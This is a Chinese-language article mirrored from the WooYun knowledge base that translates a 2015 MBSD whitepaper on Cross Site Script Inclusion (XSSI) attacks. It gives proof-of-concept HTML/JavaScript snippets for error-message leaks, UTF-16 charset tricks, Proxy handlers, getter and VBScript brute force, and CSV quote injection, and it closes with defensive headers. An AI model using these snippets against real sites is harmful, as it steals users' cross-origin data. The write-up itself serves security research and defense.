XSSI攻擊利用

wyzsk發表於2020-08-19
作者: 大學生 · 2015/04/27 10:25

0x00 介紹


From: MBSD Technical Whitepaper

PS: MBSD是一家日本安全公司,最近好像經常分享技術文件的樣子。

Cross Site Script Inclusion (XSSI) 跨站指令碼包含是一種攻擊技術允許攻擊者透過惡意js繞過邊界竊取資訊。具體的說,應該是透過潛入script標籤載入外部資料,for example:

#!javascript
<!-- attacker's page loads external data with SCRIPT tag -->
<SCRIPT src="http://target.wooyun.org/secret"></SCRIPT>

過去幾年,web安全研究者之中通用的認識中js檔案,jsonp, json,或者版本較老的瀏覽器都有可能受到這種方式的攻擊,除此之外,還可以透過一些瀏覽器的漏洞來得到js的錯誤資訊利用,不過目前應該已經修復的差不多了。

2014,我們針對這個技術進行了專門的研究,發現了一些有趣的利用技術和瀏覽器漏洞,可以獲取一些簡單的文字中的資訊,比如csv,在一些特定的情境下還可以獲得更復雜的資訊。我們主要的研究方向在於透過客戶端指令碼去識別目標資料的方法,比如變數,或者函式名。

下一節會開始介紹利用技術,最後會談論下防禦的手段。

0x01 攻擊技術/漏洞


我們總共發現了5種與xssi相關的漏洞利用技術,或者是瀏覽器漏洞。

  • IE bug導致錯誤資訊洩漏
  • 透過UTF-16編碼獲取其它型別的資料
  • chrome/firefox 中 Harmony proxy bug利用
  • 窮舉
  • csv獲取

2.1 IE bug導致錯誤資訊洩漏


為了防止js錯誤資訊跨域洩漏,對於外部載入的js檔案,現在主流的瀏覽器只有固定的錯誤資訊,比如“script error”,當是在ie9與ie10,情況不一定如此。

一般來說,在外部js發生語法錯誤的情況下,瀏覽器只會提供固定的錯誤資訊,但是當在runtime發生錯誤的情況下,瀏覽器會提供詳細的錯誤資訊。比如"foo 未定義"之類的,某些瀏覽器一旦允許外域js回覆詳細的錯誤資訊,就會導致資訊洩漏。

就是說,當某個網頁的內容能被js識別為javascript格式的話,那麼就可能透過錯誤資訊獲取到目標的內容。

比如,目標網頁

HTTP/1.1 200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length: 13
1,abc,def,ghi

攻擊者設定錯誤顯示

#!html
<SCRIPT>window.onerror = function(err) {alert(err)}</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>

一旦載入成功,網頁則會顯示 "'abc' is undefined" 。

會出現這種情況是因為瀏覽器將目標識別為javascript,那麼abc就會被識別為某個未定義的變數。當為這種情況的時候,瀏覽器就允許頁面捕捉來自不同網頁的錯誤資訊。

做一個總結就是,有被利用的可能性的資料都是可以被識別,或者透過某種方式識別為有效js的資料。

我們在2014年7月報告這個問題,分配MS14-080,後來的 CVE-2014-6345也同樣被分配到這個bug (1](2] 他們的修補方案跟其他的瀏覽器是差不多的,把錯誤資訊改成某個固定的資訊。

不過,稍微需要注意的一點,出現該漏洞的只有ie 9 和 ie 10.

遺憾的是我們並不是最早注意到這個問題的貨,08年的時候,安全研究人員Chris Evans就在firefox (3]中發現了類似的問題,不過他的攻擊程式碼看起來好麻煩的樣子,這貨利用多重重定向來欺騙瀏覽器。另外一件事就是13年的時候,研究人員Yosuke Hasegawa 和 @masa141421356也做過相關的研究,(4]

2. 用UTF-16獲取json和其他型別的資料


大家可以看到,上面的東西只在csv這種操蛋的玩意上有用, 所以我們做了更多的研究看看能否獲取不同格式的資料,之後我們發現透過UTF-16編碼可以達到我們的目標。

其實本身是一個很簡單的技巧 比如頁面a ,我們加入 charset="UTF-16BE"

#!html
<!-- set an error handler -->
<SCRIPT>window.onerror = function(err) {alert(err)}</SCRIPT>
<!-- load target JSON -->
<SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>

然後json資料長這個逼樣

HTTP/1.1 200 OK
Content-Type: application/json
Content-Disposition: attachment; filename="a.json"
Content-Length: 39
{"aaa":"000", "bbb":"111", "ccc":"222"}

當響應缺少字符集規範的時候,會被charset屬性強制轉碼為固定的編碼,我們用這個技巧擼掉了許多有名的瀏覽器,包括ie 9。

測試這段程式碼之後,我們給自己彈了個窗。

enter image description here

我們可以看到一串亂碼,因為,當瀏覽器獲取目標網頁的資料,之間經過了一次編碼,然後到我們的頁面上經過charset制定的字符集進行了一次解碼。

enter image description here

我們能很簡單的得出一個結論就是我們能透過對亂碼的再次編碼來獲得原有的資訊,不過需要注意的就是隻有當編碼後的資訊能夠被瀏覽器識別為有效的js標示符的時候攻擊才有可能成功,這是一個重要的條件,對於不同的平臺的編碼是有所不同的,在ie上可以被識別為有效js標示符的字元是多於其他平臺的,至於其他來說ie的 ECMAScript規範 (5]跟其他瀏覽器總體沒什麼不同。

打個比方對於ie來說 '3q' (U+3371, ㍱) 在 unicode編碼中會被認為是 屬於 "Symbol, Other [So]",就是符號的一種。總的來說這種形式的認定不應該發生在任何瀏覽器中,不過ie可能比較2b一些。

我們花了很多時間研究了什麼樣的組合,能夠被瀏覽器認定為有效的js標示符,當字元編碼為UTF-16的時候的數字字母組合,ie 9將其99.3%認為是有效的js標示符,高於chrome和firefox。具體結果見下圖

enter image description here

需要注意的一件事就是在ie 10 或者更高的版本,可能攻擊無法奏效,因為ie 10 拒絕將沒有空位元組活著bom的編碼為utf16。

3. Harmony proxy bug in Firefox / Chrome


Harmony是一個ECMAScript 6中的新功能 (6] ,類似於java的反射類,其中定義了對於物件屬性的查詢,分配,函式呼叫,在我們針對這些新特性的研究過程中發現該功能可以用於xssi的攻擊中。

for example:

#!html
<!-- set proxy handler to window.__proto__ -->
<SCRIPT>
var handler = {
 has: function(target, name) {alert("data=" + name); return true},
 get: function(target, name) {return 1}
};
window.__proto__ = new Proxy({}, handler);
</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>

注意其中的window.proto 定義了一個代理物件,當訪問一個未定義的全域性變數,就會出發handler進行處理。

然後csv檔案長這樣:

HTTP/1.1 200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length: 13
1,abc,def,ghi

當訪問攻擊頁面的時候如果攻擊成功那麼久會收到 "data=abc", "data=def", "data=ghi"的彈窗,我們在firefox和chrome都得到了驗證。

我們在去年八月報告該bug,同一時間chrome 的js代理被預設關閉,需要透過設定開啟 (chrome://flags/#enable-javascript-harmony),後來在15年1月 (7],該功能被從chrome中分離。該bug被分配cvs編號 CVE-2014-7939 (8](9]

對於firefox ,在我們還在專注寫報告的時候,firefox卻公佈了這個bug (10],原因是一個叫Erling Ellingsen的貨發現了這個bug然後發到twitter上(11],目前該bug還沒修復,當然也沒有cve。

不過倒是推薦關注下 firefox 的bug跟蹤版(7] (10],這是否真的算個安全漏洞確實值得討論,or只需要將其當成js功能的一種,另外一個事實就是,即使沒有這玩意我們也可以透過對外部檔案的窮舉來攻擊相容js語法的檔案。

下面我們會討論關於窮舉的攻擊方式。

4. 窮舉搜尋


假設一個攻擊頁面透過js 載入了下面的csv檔案。

HTTP/1.1 200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length: 8
1,xyz123

一旦載入我們就會得到一個 xyz123未定義的錯誤,換句話說,如果我們在載入外部檔案之前定義了這個標示符,那麼我們就不會受到這個錯誤,同時我們也可以判斷xyz123是存在於外部檔案中的。也就是說我們需要一個合適的檢測錯誤是否發生的方式。一般情況下瀏覽器是不提供詳細的外部錯誤資訊,不過仍然會返回一個通用的錯誤標示。所以說窮舉資訊還是是存在可能性的。

總的來說我們發現三種窮舉的方式

第一種是二元搜尋。比如你知道目標會是 "xyz121", "xyz122", "xyz123" 和 "xyz124"中的其中一個,可以先定義前兩個變數然後看有無錯誤爆出,然後定義後兩個,然後再縮小目標。

第二種是使用 js 的getter,像下面醬紫

#!html
<!-- set getters -->
<SCRIPT>
Object.defineProperty(window, "xyz121", {get: function() {alert("value=xyz121")}});
Object.defineProperty(window, "xyz122", {get: function() {alert("value=xyz122")}});
Object.defineProperty(window, "xyz123", {get: function() {alert("value=xyz123")}});
Object.defineProperty(window, "xyz124", {get: function() {alert("value=xyz124")}});
</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>

就是目標值訪問 window.***||||||* 會觸發上面的規則。

第三種是使用vbscript來獲取json陣列,這個思路來自Hasegawa做的研究,組合vbscript和json進行攻擊(4]

目標頁面長這個樣子

HTTP/1.1 200 OK
Content-Type: application/json
Content-Disposition: attachment; filename="a.json"
Content-Length: 12
[1,"xyz123"]

然後再我們的攻擊介面中呼叫vbscript

#!html
<SCRIPT language="vbscript">
Sub [1,"xyz121"]: MsgBox "value=xyz121": End Sub
Sub [1,"xyz122"]: MsgBox "value=xyz122": End Sub
Sub [1,"xyz123"]: MsgBox "value=xyz123": End Sub
Sub [1,"xyz124"]: MsgBox "value=xyz124": End Sub
</SCRIPT>
<!-- load target JSON as VBScript -->
<SCRIPT src="(target data's URL)" language="vbscript"></SCRIPT>

跟上面的攻擊相似,都是透過窮舉來獲取目標值。不過vbscript只試用於ie。

ps: 怎麼說呢。。。我覺得好蛋疼。

CSV with quotations thef


上面獲取csv的資訊只在目標的字串沒被引號擴起來的情況下,不過同樣是一些小技巧能夠使我們繞過這一限制。

讓我們假設一個csv長這個b樣。

1,"___","[email protected]","03-0000-0001"

2,"foo","[email protected]","03-0000-0002"

...

98,"bar","[email protected]","03-0000-0088"

99,"___","[email protected]","03-0000-0099"

假設攻擊者能夠插入自己的字串,那麼只需要根據RFC相關CSV (RFC 4180 (12])中的規定來新增一個雙引號就可以bypass這個限制。

for example

1,"\"",$$$=function(){/*","[email protected]","03-0000-0001"

2,"foo","[email protected]","03-0000-0002"

...

98,"bar","[email protected]","03-0000-0088"

99,"*/}//","[email protected]","03-0000-0099"

一個比較蛋疼的問題就是如何獲取多行的資訊,因為多行在js中是違法的,上面的例子裡,我們使用 $$$=function() {//}來進行攻擊,然後攻擊者可以呼叫$$$.toString() 獲取函式遠嗎來達到攻擊目標資料的目的。這種攻擊方式試用於所有的瀏覽器。

一種獲取多行內容的方式可以在chrome和firefox中奏效,就是ECMAScript6模版字串中透過反引號來獲取多行內容。

0x02 結論


下面是需要注意的一些問題。

上面我們演示了xssi透過組合瀏覽器漏洞或者一些攻擊技巧來到達獲取一些特定資料的目的,不過其利用場景還是具有侷限性的。

其防禦的方式只需要設定響應頭圍X-Content-Type-Options: nosniff ,那麼瀏覽器就會拒絕記載這種型別的資料為js。

同時還需要設定字符集規範,來防止一些特殊場景的攻擊,從這裡可以看到一些關於字符集攻擊的參考(13]

攻擊並不侷限於某種瀏覽器。

很蛋疼的一個問題 X-Content-Type-Options 頭只適用ie-8+ 和chrome,並不包括其他瀏覽器。

firefox還在討論要不要這麼搞。(14](15]

總之建議使用 Content-Type 和 X-Content-Type-Options。

這裡有一些其他的措施

  • 禁止get請求

  • 使用一些難以猜測的引數

  • 使用自定義頭時使用XHR進行請求。

或者說只是拒絕不滿足條件的http請求,簡單來說設定一些過濾規則進行攔截。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章